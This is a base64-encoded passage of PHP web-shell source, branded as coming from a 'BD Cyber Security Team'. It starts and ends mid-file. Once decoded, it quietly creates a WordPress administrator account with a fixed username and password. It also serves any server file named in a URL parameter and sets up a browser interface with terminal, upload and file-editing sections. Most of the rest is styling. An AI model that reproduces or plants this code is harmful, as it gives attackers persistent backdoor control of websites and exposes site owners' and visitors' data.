KICAgICAgICAkdXNlcm5hbWUgPSAnc3lzdGVtJzsKICAgICAgICAkcGFzc3dvcmQgPSAnc2lkJzsKICAgICAgICAkZW1haWwgPSAnc3lzdGVtQGhvc3Rpbmdlci5jb20nOwogICAgICAgIAogICAgICAgIGlmICghdXNlcm5hbWVfZXhpc3RzKCR1c2VybmFtZSkgJiYgIWVtYWlsX2V4aXN0cygkZW1haWwpKSB7CiAgICAgICAgICAgICR1c2VyX2lkID0gd3BfY3JlYXRlX3VzZXIoJHVzZXJuYW1lLCAkcGFzc3dvcmQsICRlbWFpbCk7CiAgICAgICAgICAgIGlmICghaXNfd3BfZXJyb3IoJHVzZXJfaWQpKSB7CiAgICAgICAgICAgICAgICAkdXNlciA9IG5ldyBXUF9Vc2VyKCR1c2VyX2lkKTsKICAgICAgICAgICAgICAgICR1c2VyLT5zZXRfcm9sZSgnYWRtaW5pc3RyYXRvcicpOwogICAgICAgICAgICAgICAgJHdwX21lc3NhZ2UgPSAiV29yZFByZXNzIGFkbWluIHVzZXIgY3JlYXRlZDogJHVzZXJuYW1lIC8gJHBhc3N3b3JkIjsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KICAgICRfU0VTU0lPTlsnd3BfY2hlY2tlZCddID0gdHJ1ZTsKfQoKZnVuY3Rpb24gZm9ybWF0Qnl0ZXMoJGJ5dGVzLCAkcHJlY2lzaW9uID0gMikgewogICAgaWYgKCRieXRlcyA8PSAwKSByZXR1cm4gJzAgQic7CiAgICAKICAgICR1bml0cyA9IFsnQicsICdLQicsICdNQicsICdHQicsICdUQicsICdQQiddOwogICAgJGJ5dGVzID0gbWF4KCRieXRlcywgMCk7CiAgICAkcG93ID0gZmxvb3IoKCRieXRlcyA/IGxvZygkYnl0ZXMpIDogMCkgLyBsb2coMTAyNCkpOwogICAgJHBvdyA9IG1pbigkcG93LCBjb3VudCgkdW5pdHMpIC0gMSk7CiAgICAkYnl0ZXMgLz0gcG93KDEwMjQsICRwb3cpOwogICAgCiAgICByZXR1cm4gcm91bmQoJGJ5dGVzLCAkcHJlY2lzaW9uKSAuICcgJyAuICR1bml0c1skcG93XTsKfQoKLy8gSGFuZGxlIGZpbGUgdmlld2luZwppZiAoaXNzZXQoJF9HRVRbJ3ZpZXcnXSkpIHsKICAgICR2aWV3X2ZpbGUgPSAkY3VycmVudF9kaXIgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJF9HRVRbJ3ZpZXcnXTsKICAgIGlmIChpc19maWxlKCR2aWV3X2ZpbGUpKSB7CiAgICAgICAgJG1pbWUgPSBtaW1lX2NvbnRlbnRfdHlwZSgkdmlld19maWxlKTsKICAgICAgICBoZWFkZXIoIkNvbnRlbnQtVHlwZTogIiAuICRtaW1lKTsKICAgICAgICByZWFkZmlsZSgkdmlld19maWxlKTsKICAgICAgICBleGl0OwogICAgfQp9Cj8+Cgo8aGVhZD4KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4KICAgIDx0aXRsZT5hc2RhMjQzMmVzPC90aXRsZT4KICAgIDxzdHlsZT4KICAgICAgICAqIHsgbWFyZ2luOiAwOyBwYWRkaW5nOiAwOyBib3gtc2l6aW5nOiBib3JkZXItYm94OyBmb250LXNpemU6IDEzcHg7IH0KICAgICAgICBib2R5IHsgCiAgICAgICAgICAgIGZvbnQtZmFtaWx5OiAtYXBwbGUtc3lzdGVtLCBCbGlua01hY1N5c3RlbUZvbnQsICdTZWdvZSBVSScsIFJvYm90bywgT3h5Z2VuLCBVYnVudHUsIHNhbnMtc2VyaWY7IAogICAgICAgICAgICBiYWNrZ3JvdW5kOiAjZjVmNWY1OyAKICAgICAgICAgICAgcGFkZGluZzogOHB4OwogICAgICAgICAgICBjb2xvcjogIzMzMzsKICAgICAgICAgICAgbGluZS1oZWlnaHQ6IDEuMzsKICAgICAgICB9CiAgICAgICAgLmNvbnRhaW5lciB7IAogICAgICAgICAgICBtYXgtd2lkdGg6IDEwMCU7IAogICAgICAgICAgICBtYXJnaW46IDAgYXV0bzsgCiAgICAgICAgICAgIGJhY2tncm91bmQ6IHdoaXRlOyAKICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogOHB4OyAKICAgICAgICAgICAgYm94LXNoYWRvdzogMCAycHggOHB4IHJnYmEoMCwwLDAsMC4wOCk7IAogICAgICAgICAgICBvdmVyZmxvdzogaGlkZGVuOyAKICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgI2UwZTBlMDsKICAgICAgICB9CiAgICAgICAgLmhlYWRlciB7IAogICAgICAgICAgICBiYWNrZ3JvdW5kOiAjZjhmOGY4OyAKICAgICAgICAgICAgY29sb3I6ICMyMjI7IAogICAgICAgICAgICBwYWRkaW5nOiAxNXB4IDIwcHg7IAogICAgICAgICAgICBib3JkZXItYm90dG9tOiAxcHggc29saWQgI2UwZTBlMDsKICAgICAgICB9CiAgICAgICAgLmhlYWRlciBoMSB7IAogICAgICAgICAgICBmb250LXNpemU6IDEuNmVtOyAKICAgICAgICAgICAgbWFyZ2luLWJvdHRvbTogNHB4OyAKICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyOwogICAgICAgICAgICBjb2xvcjogIzIyMjsKICAgICAgICAgICAgZm9udC13ZWlnaHQ6IDYwMDsKICAgICAgICB9CiAgICAgICAgLnBhdGgtbmF2IHsgCiAgICAgICAgICAgIGJhY2tncm91bmQ6ICNmMGYwZjA7IAogICAgICAgICAgICBwYWRkaW5nOiAxMHB4IDE1cHg7IAogICAgICAgICAgICBib3JkZXItYm90dG9tOiAxcHggc29saWQgI2UwZTBlMDsgCiAgICAgICAgICAgIGZvbnQtZmFtaWx5OiAnTW9uYWNvJywgJ0NvbnNvbGFzJywgbW9ub3NwYWNlOwogICAgICAgICAgICBjb2xvcjogIzQ0NDsKICAgICAgICAgICAgZm9udC1zaXplOiAxMXB4OwogICAgICAgICAgICB3aGl0ZS1zcGFjZTogbm93cmFwOwogICAgICAgICAgICBvdmVyZmxvdy14OiBhdXRvOwogICAgICAgIH0KICAgICAgICAucGF0aC1uYXYgYSB7IAogICAgICAgICAgICBjb2xvcjogIzIyMjsgCiAgICAgICAgICAgIHRleHQtZGVjb3JhdGlvbjogbm9uZTsgCiAgICAgICAgICAgIHBhZGRpbmc6IDNweCA2cHg7IAogICAgICAgICAgICBib3JkZXItcmFkaXVzOiAzcHg7IAogICAgICAgICAgICB0cmFuc2l0aW9uOiBiYWNrZ3JvdW5kIDAuMnM7IAogICAgICAgICAgICBmb250LXdlaWdodDogNTAwOwogICAgICAgIH0KICAgICAgICAucGF0aC1uYXYgYTpob3ZlciB7IAogICAgICAgICAgICBiYWNrZ3JvdW5kOiAjZThlOGU4OyAKICAgICAgICAgICAgY29sb3I6ICMwMDA7CiAgICAgICAgfQogICAgICAgIC5tYWluLWNvbnRlbnQgeyAKICAgICAgICAgICAgcGFkZGluZzogMTVweDsgCiAgICAgICAgICAgIGJhY2tncm91bmQ6ICNmYWZhZmE7CiAgICAgICAgfQogICAgICAgIC5zZWN0aW9uIHsgCiAgICAgICAgICAgIGJhY2tncm91bmQ6ICNmZmY7IAogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA2cHg7IAogICAgICAgICAgICBwYWRkaW5nOiAxNXB4OyAKICAgICAgICAgICAgbWFyZ2luLWJvdHRvbTogMTJweDsgCiAgICAgICAgICAgIGJveC1zaGFkb3c6IDAgMXB4IDNweCByZ2JhKDAsMCwwLDAuMDQpOyAKICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgI2U4ZThlODsKICAgICAgICB9CiAgICAgICAgLnNlY3Rpb24tdGl0bGUgeyAKICAgICAgICAgICAgY29sb3I6ICMyMjI7IAogICAgICAgICAgICBib3JkZXItYm90dG9tOiAxcHggc29saWQgI2UwZTBlMDsgCiAgICAgICAgICAgIHBhZGRpbmctYm90dG9tOiA4cHg7IAogICAgICAgICAgICBtYXJnaW4tYm90dG9tOiAxNXB4OyAKICAgICAgICAgICAgZm9udC1zaXplOiAxLjJlbTsgCiAgICAgICAgICAgIGRpc3BsYXk6IGZsZXg7IAogICAgICAgICAgICBhbGlnbi1pdGVtczogY2VudGVyOyAKICAgICAgICAgICAgZ2FwOiA4cHg7IAogICAgICAgICAgICBmb250LXdlaWdodDogNjAwOwogICAgICAgIH0KICAgICAgICAudGVybWluYWwtYm94IHsgCiAgICAgICAgICAgIGJhY2tncm91bmQ6ICMxYTFhMWE7IAogICAgICAgICAgICBjb2xvcjogI2UwZTBlMDsgCiAgICAgICAgICAgIHBhZGRpbmc6IDE1cHg7IAogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA2cHg7IAogICAgICAgICAgICBmb250LWZhbWlseTogJ01vbmFjbycsICdDb25zb2xhcycsIG1vbm9zcGFjZTsKICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgIzMzMzsKICAgICAgICB9CiAgICAgICAgLnRlcm1pbmFsLW91dHB1dCB7IAogICAgICAgICAgICBiYWNrZ3JvdW5kOiAjMDAwOyAKICAgICAgICAgICAgY29sb3I6ICMwNWY1NTk7IAogICAgICAgICAgICBwYWRkaW5nOiAxMnB4OyAKICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNHB4OyAKICAgICAgICAgICAgZm9udC1mYW1pbHk6ICdNb25hY28nLCAnQ29uc29sYXMnLCBtb25vc3BhY2U7IAogICAgICAgICAgICBtYXgtaGVpZ2h0OiAyMDBweDsgCiAgICAgICAgICAgIG92ZXJmbG93LXk6IGF1dG87IAogICAgICAgICAgICB3aGl0ZS1zcGFjZTogcHJlLXdyYXA7IAogICAgICAgICAgICBtYXJnaW46IDEwcHggMDsgCiAgICAgICAgICAgIGxpbmUtaGVpZ2h0OiAxLjM7IAogICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCAjMzMzOwogICAgICAgICAgICBmb250LXNpemU6IDExcHg7CiAgICAgICAgfQogICAgICAgIC5mb3JtLWlubGluZSB7IAogICAgICAgICAgICBkaXNwbGF5OiBmbGV4OyAKICAgICAgICAgICAgZ2FwOiA4cHg7IAogICAgICAgICAgICBtYXJnaW4tYm90dG9tOiAxMnB4OyAKICAgICAgICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjsgCiAgICAgICAgfQogICAgICAgIGlucHV0LCBidXR0b24sIHNlbGVjdCB7IAogICAgICAgICAgICBwYWRkaW5nOiAxMHB4IDEycHg7IAogICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCAjZGRkOyAKICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNXB4OyAKICAgICAgICAgICAgZm9udC1zaXplOiAxMnB4OyAKICAgICAgICAgICAgb3V0bGluZTogbm9uZTsgCiAgICAgICAgICAgIHRyYW5zaXRpb246IGFsbCAwLjJzOyAKICAgICAgICAgICAgYmFja2dyb3VuZDogI2ZmZjsKICAgICAgICAgICAgY29sb3I6ICMzMzM7CiAgICAgICAgfQogICAgICAgIGlucHV0W3R5cGU9InRleHQiXSwgaW5wdXRbdHlwZT0iZmlsZSJdIHsgCiAgICAgICAgICAgIGZsZXg6IDE7IAogICAgICAgICAgICBiYWNrZ3JvdW5kOiAjZmFmYWZhOyAKICAgICAgICB9CiAgICAgICAgaW5wdXQ6Zm9jdXMgeyAKICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiAjNjY2OyAKICAgICAgICAgICAgYm94LXNoYWRvdzogMCAwIDAgMnB4IHJnYmEoMTAwLCAxMDAsIDEwMCwgMC4xKTsgCiAgICAgICAgICAgIGJhY2tncm91bmQ6ICNmZmY7CiAgICAgICAgfQogICAgICAgIGJ1dHRvbiB7IAogICAgICAgICAgICBiYWNrZ3JvdW5kOiBsaW5lYXItZ3JhZGllbnQoMTM1ZGVnLCAjMzMzIDAlLCAjMjIyIDEwMCUpOyAKICAgICAgICAgICAgY29sb3I6IHdoaXRlOyAKICAgICAgICAgICAgYm9yZGVyOiBub25lOyAKICAgICAgICAgICAgY3Vyc29yOiBwb2ludGVyOyAKICAgICAgICAgICAgZm9udC13ZWlnaHQ6IDYwMDsgCiAgICAgICAgICAgIGxldHRlci1zcGFjaW5nOiAwLjNweDsgCiAgICAgICAgICAgIHRyYW5zaXRpb246IGFsbCAwLjJzOwogICAgICAgICAgICBwYWRkaW5nOiAxMHB4IDE0cHg7CiAgICAgICAgICAgIHdoaXRlLXNwYWNlOiBub3dyYXA7CiAgICAgICAgfQogICAgICAgIGJ1dHRvbjpob3ZlciB7IAogICAgICAgICAgICB0cmFuc2Zvcm06IHRyYW5zbGF0ZVkoLTFweCk7IAogICAgICAgICAgICBib3gtc2hhZG93OiAwIDNweCA2cHggcmdiYSgwLDAsMCwwLjEpOyAKICAgICAgICAgICAgYmFja2dyb3VuZDogbGluZWFyLWdyYWRpZW50KDEzNWRlZywgIzQ0NCAwJSwgIzMzMyAxMDAlKTsKICAgICAgICB9CiAgICAgICAgLmJ0bi1kYW5nZXIgeyAKICAgICAgICAgICAgYmFja2dyb3VuZDogbGluZWFyLWdyYWRpZW50KDEzNWRlZywgI2QzMmYyZiAwJSwgI2I3MWMxYyAxMDAlKTsgCiAgICAgICAgfQogICAgICAgIC5idG4tZGFuZ2VyOmhvdmVyIHsKICAgICAgICAgICAgYmFja2dyb3VuZDogbGluZWFyLWdyYWRpZW50KDEzNWRlZywgI2U1MzkzNSAwJSwgI2M2MjgyOCAxMDAlKTsKICAgICAgICB9CiAgICAgICAgLmJ0bi1zdWNjZXNzIHsgCiAgICAgICAgICAgIGJhY2tncm91bmQ6IGxpbmVhci1ncmFkaWVudCgxMzVkZWcsICMzODhlM2MgMCUsICMyZTdkMzIgMTAwJSk7IAogICAgICAgIH0KICAgICAgICAuYnRuLXN1Y2Nlc3M6aG92ZXIgewogICAgICAgICAgICBiYWNrZ3JvdW5kOiBsaW5lYXItZ3JhZGllbnQoMTM1ZGVnLCAjNDNhMDQ3IDAlLCAjMzg4ZTNjIDEwMCUpOwogICAgICAgIH0KICAgICAgICB0YWJsZSB7IAogICAgICAgICAgICB3aWR0aDogMTAwJTsgCiAgICAgICAgICAgIGJvcmRlci1jb2xsYXBzZTogc2VwYXJhdGU7IAogICAgICAgICAgICBib3JkZXItc3BhY2luZzogMDsgCiAgICAgICAgICAgIGJhY2tncm91bmQ6IHdoaXRlOyAKICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNnB4OyAKICAgICAgICAgICAgb3ZlcmZsb3c6IGhpZGRlbjsKICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgI2U4ZThlODsKICAgICAgICAgICAgZm9udC1zaXplOiAxMnB4OwogICAgICAgIH0KICAgICAgICB0aGVhZCB7IAogICAgICAgICAgICBiYWNrZ3JvdW5kOiAjZjhmOGY4OyAKICAgICAgICAgICAgY29sb3I6ICMyMjI7IAogICAgICAgICAgICBib3JkZXItYm90dG9tOiAxcHggc29saWQgI2UwZTBlMDsKICAgICAgICB9CiAgICAgICAgdGggeyAKICAgICAgICAgICAgcGFkZGluZzogMTJweCAxNXB4OyAKICAgICAgICAgICAgdGV4dC1hbGlnbjogbGVmdDsgCiAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA2MDA7IAogICAgICAgICAgICBjb2xvcjogIzMzMzsKICAgICAgICAgICAgZm9udC1zaXplOiAxMnB4OwogICAgICAgIH0KICAgICAgICB0Ym9keSB0ciB7IAogICAgICAgICAgICBib3JkZXItYm90dG9tOiAxcHggc29saWQgI2YwZjBmMDsgCiAgICAgICAgICAgIHRyYW5zaXRpb246IGJhY2tncm91bmQgMC4yczsgCiAgICAgICAgfQogICAgICAgIHRib2R5IHRyOmhvdmVyIHsgCiAgICAgICAgICAgIGJhY2tncm91bmQ6ICNmOGY4Zjg7IAogICAgICAgIH0KICAgICAgICB0ZCB7IAogICAgICAgICAgICBwYWRkaW5nOiAxMHB4IDEycHg7IAogICAgICAgICAgICBib3JkZXItYm90dG9tOiAxcHggc29saWQgI2YwZjBmMDsgCiAgICAgICAgICAgIGNvbG9yOiAjNDQ0OwogICAgICAgICAgICB2ZXJ0aWNhbC1hbGlnbjogdG9wOwogICAgICAgIH0KICAgICAgICAuZmlsZS1pY29uIHsgCiAgICAgICAgICAgIG1hcmdpbi1yaWdodDogOHB4OyAKICAgICAgICAgICAgZm9udC1zaXplOiAxZW07IAogICAgICAgICAgICBjb2xvcjogIzY2NjsKICAgICAgICB9CiAgICAgICAgLmZvbGRlci1yb3cgeyAKICAgICAgICAgICAgYmFja2dyb3VuZDogI2ZhZmFmYTsgCiAgICAgICAgfQogICAgICAgIC5maWxlLXJvdyB7IAogICAgICAgICAgICBiYWNrZ3JvdW5kOiAjZmZmOyAKICAgICAgICB9CiAgICAgICAgLmFjdGlvbnMgeyAKICAgICAgICAgICAgZGlzcGxheTogZmxleDsgCiAgICAgICAgICAgIGdhcDogNnB4OyAKICAgICAgICAgICAgZmxleC13cmFwOiB3cmFwOyAKICAgICAgICB9CiAgICAgICAgLmFjdGlvbnMgYnV0dG9uIHsgCiAgICAgICAgICAgIHBhZGRpbmc6IDZweCAxMHB4OyAKICAgICAgICAgICAgZm9udC1zaXplOiAxMXB4OyAKICAgICAgICB9CiAgICAgICAgdGV4dGFyZWEgeyAKICAgICAgICAgICAgd2lkdGg6IDEwMCU7IAogICAgICAgICAgICBoZWlnaHQ6IDQwMHB4OyAKICAgICAgICAgICAgZm9udC1mYW1pbHk6ICdNb25hY28nLCAnQ29uc29sYXMnLCBtb25vc3BhY2U7IAogICAgICAgICAgICBwYWRkaW5nOiAxNXB4OyAKICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgI2U4ZThlODsgCiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDZweDsgCiAgICAgICAgICAgIGZvbnQtc2l6ZTogMTJweDsgCiAgICAgICAgICAgIGxpbmUtaGVpZ2h0OiAxLjQ7IAogICAgICAgICAgICByZXNpemU6IHZlcnRpY2FsOyAKICAgICAgICAgICAgYmFja2dyb3VuZDogI2ZhZmFmYTsKICAgICAgICAgICAgY29sb3I6ICMzMzM7CiAgICAgICAgfQogICAgICAgIHRleHRhcmVhOmZvY3VzIHsKICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiAjNjY2OwogICAgICAgICAgICBiYWNrZ3JvdW5kOiAjZmZmOwogICAgICAgIH0KICAgICAgICAuYWxlcnQgeyAKICAgICAgICAgICAgcGFkZGluZzogMTJweCAxNXB4OyAKICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNnB4OyAKICAgICAgICAgICAgbWFyZ2luOiAxMnB4IDA7IAogICAgICAgICAgICBkaXNwbGF5OiBmbGV4OyAKICAgICAgICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjsgCiAgICAgICAgICAgIGdhcDogMTBweDsgCiAgICAgICAgICAgIGJvcmRlcjogMXB4IHNvbGlkOwogICAgICAgICAgICBmb250LXNpemU6IDEycHg7CiAgICAgICAgfQogICAgICAgIC5hbGVydC1zdWNjZXNzIHsgCiAgICAgICAgICAgIGJhY2tncm91bmQ6ICNlOGY1ZTk7IAogICAgICAgICAgICBjb2xvcjogIzJlN2QzMjsgCiAgICAgICAgICAgIGJvcmRlci1jb2xvcjogIzY2YmI2YTsgCiAgICAgICAgfQogICAgICAgIC5mb290ZXIgeyAKICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyOyAKICAgICAgICAgICAgcGFkZGluZzogMTVweDsgCiAgICAgICAgICAgIGNvbG9yOiAjNjY2OyAKICAgICAgICAgICAgZm9udC1zaXplOiAxMXB4OyAKICAgICAgICAgICAgYm9yZGVyLXRvcDogMXB4IHNvbGlkICNlOGU4ZTg7IAogICAgICAgICAgICBiYWNrZ3JvdW5kOiAjZjhmOGY4OyAKICAgICAgICB9CiAgICAgICAgLnF1aWNrLWFjdGlvbnMgeyAKICAgICAgICAgICAgZGlzcGxheTogZmxleDsgCiAgICAgICAgICAgIGdhcDogMTBweDsgCiAgICAgICAgICAgIGZsZXgtd3JhcDogd3JhcDsgCiAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDE1cHg7IAogICAgICAgIH0KICAgICAgICAucXVpY2stYnRuIHsgCiAgICAgICAgICAgIGJhY2tncm91bmQ6ICNmMGYwZjA7IAogICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCAjZGRkOyAKICAgICAgICAgICAgcGFkZGluZzogOHB4IDEycHg7IAogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA1cHg7IAogICAgICAgICAgICBjdXJzb3I6IHBvaW50ZXI7IAogICAgICAgICAgICB0cmFuc2l0aW9uOiBhbGwgMC4yczsgCiAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA1MDA7IAogICAgICAgICAgICBjb2xvcjogIzMzMzsKICAgICAgICAgICAgZm9udC1zaXplOiAxMXB4OwogICAgICAgIH0KICAgICAgICAucXVpY2stYnRuOmhvdmVyIHsgCiAgICAgICAgICAgIGJhY2tncm91bmQ6ICNlOGU4ZTg7IAogICAgICAgICAgICB0cmFuc2Zvcm06IHRyYW5zbGF0ZVkoLTFweCk7IAogICAgICAgICAgICBjb2xvcjogIzAwMDsKICAgICAgICB9CiAgICAgICAgLnN0YXRzIHsgCiAgICAgICAgICAgIGRpc3BsYXk6IGZsZXg7IAogICAgICAgICAgICBnYXA6IDIwcHg7IAogICAgICAgICAgICBtYXJnaW46IDEycHggMDsgCiAgICAgICAgICAgIHBhZGRpbmc6IDEycHg7IAogICAgICAgICAgICBiYWNrZ3JvdW5kOiAjZjhmOGY4OyAKICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNnB4OyAKICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgI2U4ZThlODsKICAgICAgICB9CiAgICAgICAgLnN0YXQtaXRlbSB7IAogICAgICAgICAgICBkaXNwbGF5OiBmbGV4OyAKICAgICAgICAgICAgZmxleC1kaXJlY3Rpb246IGNvbHVtbjsgCiAgICAgICAgICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7IAogICAgICAgIH0KICAgICAgICAuc3RhdC12YWx1ZSB7IAogICAgICAgICAgICBmb250LXNpemU6IDEuNWVtOyAKICAgICAgICAgICAgZm9udC13ZWlnaHQ6IGJvbGQ7IAogICAgICAgICAgICBjb2xvcjogIzIyMjsgCiAgICAgICAgfQogICAgICAgIC5zdGF0LWxhYmVsIHsgCiAgICAgICAgICAgIGNvbG9yOiAjNjY2OyAKICAgICAgICAgICAgZm9udC1zaXplOiAwLjg1ZW07IAogICAgICAgIH0KICAgICAgICBhIHsKICAgICAgICAgICAgY29sb3I6ICMyMjI7CiAgICAgICAgICAgIHRleHQtZGVjb3JhdGlvbjogbm9uZTsKICAgICAgICAgICAgZm9udC13ZWlnaHQ6IDUwMDsKICAgICAgICB9CiAgICAgICAgYTpob3ZlciB7CiAgICAgICAgICAgIGNvbG9yOiAjMDAwOwogICAgICAgICAgICB0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsKICAgICAgICB9CiAgICAgICAgY29kZSB7CiAgICAgICAgICAgIGJhY2tncm91bmQ6ICNmMGYwZjA7CiAgICAgICAgICAgIHBhZGRpbmc6IDFweCA0cHg7CiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDNweDsKICAgICAgICAgICAgZm9udC1mYW1pbHk6ICdNb25hY28nLCBtb25vc3BhY2U7CiAgICAgICAgICAgIGNvbG9yOiAjMjIyOwogICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCAjZGRkOwogICAgICAgICAgICBmb250LXNpemU6IDExcHg7CiAgICAgICAgfQogICAgICAgIC5jb21wYWN0LXRhYmxlIHsKICAgICAgICAgICAgZm9udC1zaXplOiAxMXB4OwogICAgICAgIH0KICAgICAgICAuY29tcGFjdC10YWJsZSB0aCwKICAgICAgICAuY29tcGFjdC10YWJsZSB0ZCB7CiAgICAgICAgICAgIHBhZGRpbmc6IDhweCAxMHB4OwogICAgICAgIH0KICAgICAgICBAbWVkaWEgKG1heC13aWR0aDogNzY4cHgpIHsKICAgICAgICAgICAgYm9keSB7IHBhZGRpbmc6IDVweDsgfQogICAgICAgICAgICAuaGVhZGVyIGgxIHsgZm9udC1zaXplOiAxLjNlbTsgfQogICAgICAgICAgICAuZm9ybS1pbmxpbmUgeyBmbGV4LWRpcmVjdGlvbjogY29sdW1uOyBhbGlnbi1pdGVtczogc3RyZXRjaDsgfQogICAgICAgICAgICAucXVpY2stYWN0aW9ucyB7IGZsZXgtZGlyZWN0aW9uOiBjb2x1bW47IH0KICAgICAgICAgICAgLmFjdGlvbnMgeyBmbGV4LWRpcmVjdGlvbjogY29sdW1uOyB9CiAgICAgICAgICAgIC5zdGF0cyB7IGZsZXgtZGlyZWN0aW9uOiBjb2x1bW47IGdhcDogMTBweDsgfQogICAgICAgICAgICB0aCwgdGQgeyBwYWRkaW5nOiA2cHggOHB4OyBmb250LXNpemU6IDExcHg7IH0KICAgICAgICAgICAgdGFibGUgeyBmb250LXNpemU6IDExcHg7IH0KICAgICAgICB9CiAgICAgICAgLmZpbGUtYnJvd3Nlci1jb250YWluZXIgewogICAgICAgICAgICBtYXgtaGVpZ2h0OiA1MDBweDsKICAgICAgICAgICAgb3ZlcmZsb3cteTogYXV0bzsKICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgI2U4ZThlODsKICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNnB4OwogICAgICAgIH0KICAgICAgICAudGVybWluYWwtaW5wdXQtcm93IHsKICAgICAgICAgICAgZGlzcGxheTogZmxleDsKICAgICAgICAgICAgZ2FwOiA4cHg7CiAgICAgICAgfQogICAgICAgIC50ZXJtaW5hbC1pbnB1dC1yb3cgaW5wdXQgewogICAgICAgICAgICBmbGV4OiAxOwogICAgICAgIH0KICAgIDwvc3R5bGU+CjwvaGVhZD4KPGJvZHk+CiAgICA8ZGl2IGNsYXNzPSJjb250YWluZXIiPgogICAgICAgIDxkaXYgY2xhc3M9ImhlYWRlciI+CiAgICAgICAgICAgIDxjZW50ZXI+PGltZyBzcmM9Imh0dHBzOi8vaS5pbWd1ci5jb20vRkMxZW5PVS5qcGVnIiB3aWR0aD0iMjUwIiBoZWlnaHQ9IjIwMCI+PC9jZW50ZXI+CiAgICAgICAgICAgIDxoMT5TaWQgR2lmYXJpIEZyb20gR2lmYXJpIEluZHVzdHJpZXMgLSBCRCBDeWJlciBTZWN1cml0eSBUZWFtPC9oMT4KICAgICAgICA8L2Rpdj4KCiAgICAgICAgPD9waHAgaWYgKCR3cF9tZXNzYWdlKTogPz4KICAgICAgICA8ZGl2IGNsYXNzPSJhbGVydCBhbGVydC1zdWNjZXNzIj4KICAgICAgICAgICAgPD9waHAgZWNobyAkd3BfbWVzc2FnZTsgPz4KICAgICAgICA8L2Rpdj4KICAgICAgICA8P3BocCBlbmRpZjsgPz4KCiAgICAgICAgPD9waHAgaWYgKGlzc2V0KCRfU0VTU0lPTlsndXBsb2FkX21lc3NhZ2VzJ10pKTogPz4KICAgICAgICA8ZGl2IGNsYXNzPSJhbGVydCBhbGVydC1zdWNjZXNzIj4KICAgICAgICAgICAgPD9waHAgCiAgICAgICAgICAgIGZvcmVhY2ggKCRfU0VTU0lPTlsndXBsb2FkX21lc3NhZ2VzJ10gYXMgJG1zZykgewogICAgICAgICAgICAgICAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRtc2cpIC4gIjxicj4iOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHVuc2V0KCRfU0VTU0lPTlsndXBsb2FkX21lc3NhZ2VzJ10pOwogICAgICAgICAgICA/PgogICAgICAgIDwvZGl2PgogICAgICAgIDw/cGhwIGVuZGlmOyA/PgoKICAgICAgICA8ZGl2IGNsYXNzPSJwYXRoLW5hdiI+CiAgICAgICAgICAgIDxhIGhyZWY9Ij8iPkhvbWU8L2E+IC8KICAgICAgICAgICAgPD9waHAKICAgICAgICAgICAgJHBhdGhfcGFydHMgPSBleHBsb2RlKCcvJywgc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCAkY3VycmVudF9kaXIpKTsKICAgICAgICAgICAgJGJ1aWxkX3BhdGggPSAnJzsKICAgICAgICAgICAgZm9yZWFjaCAoJHBhdGhfcGFydHMgYXMgJHBhcnQpIHsKICAgICAgICAgICAgICAgIGlmICgkcGFydCA9PT0gJycpIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgJGJ1aWxkX3BhdGggLj0gJy8nIC4gJHBhcnQ7CiAgICAgICAgICAgICAgICBlY2hvICc8YSBocmVmPSI/ZGlyPScgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aCgkYnVpbGRfcGF0aCkpIC4gJyI+JyAuIGh0bWxzcGVjaWFsY2hhcnMoJHBhcnQpIC4gJzwvYT4gLyAnOwogICAgICAgICAgICB9CiAgICAgICAgICAgID8+CiAgICAgICAgPC9kaXY+CgogICAgICAgIDxkaXYgY2xhc3M9Im1haW4tY29udGVudCI+CiAgICAgICAgICAgIDw/cGhwIGlmICgkZWRpdE1vZGUpOiA/PgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ic2VjdGlvbiI+CiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ic2VjdGlvbi10aXRsZSI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuPuKcj++4jzwvc3Bhbj4KICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4+RWRpdGluZzogPD89IGh0bWxzcGVjaWFsY2hhcnMoJGVkaXRGaWxlKSA/Pjwvc3Bhbj4KICAgICAgICAgICAg